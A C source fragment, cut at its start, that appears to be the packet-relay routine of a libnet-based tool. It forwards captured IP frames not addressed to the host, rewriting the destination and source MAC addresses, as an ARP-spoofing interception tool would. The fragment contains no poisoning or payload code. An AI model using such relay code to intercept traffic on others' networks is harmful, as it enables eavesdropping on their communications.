  libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;

  /* break packet into workable components */
  ether = (struct libnet_ethernet_hdr *) pkt;
  body = (struct libnet_ipv4_hdr *)(pkt + LIBNET_802_3_H);

  /* we're pretty sure that the packet is not destined for me and is
   * an IP packet and should be relayed or we wouldn't be here! */
  memcpy((void *)&ip, (void *)&(body->ip_dst), 4);

  /* locate ip address in ip_hash */
  for (i=0; i<brian_context->ip_hash_len; i++)
  {
    if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
    {
      /* first three octets match */
      first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
      last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
      packet_last_octet = ((u_char *)&ip)[3];
      if ((packet_last_octet >= first_octet) && (packet_last_octet <= last_octet))
      {
        /* it's in this range */
        temp_ptr = (brian_context->ip_hash[i]) + (packet_last_octet - first_octet);
        memcpy(mac, temp_ptr->macaddr, 6);
        break;
      }
    }
  }

  /* see if we found a mac address */
  if (memcmp(mac, empty_mac, 6) == 0)
  {
    /* did not locate mac address so copy in gateway mac */
    memcpy(mac, brian_context->gateway_mac, 6);
  }

  /* check we have a valid mac address */
  if (memcmp(mac, empty_mac, 6) != 0)
  {

    /* relay this packet */
    memcpy(ether->ether_dhost, mac, 6);
    memcpy(ether->ether_shost, brian_context->my_mac, 6);
    ether_ptag = libnet_build_ethernet(
      mac,
      ether->ether_shost, 
      ETHERTYPE_IP,
      (u_char *)body,
      header->len - 14,
      brian_context->libnet_context,
      ether_ptag);
    if (libnet_write(brian_context->libnet_context) == -1)
    {
      printf("libnet_write failed\n");
      /* don't exit at this point */
    }
    libnet_clear_packet(brian_context->libnet_context);
  }
}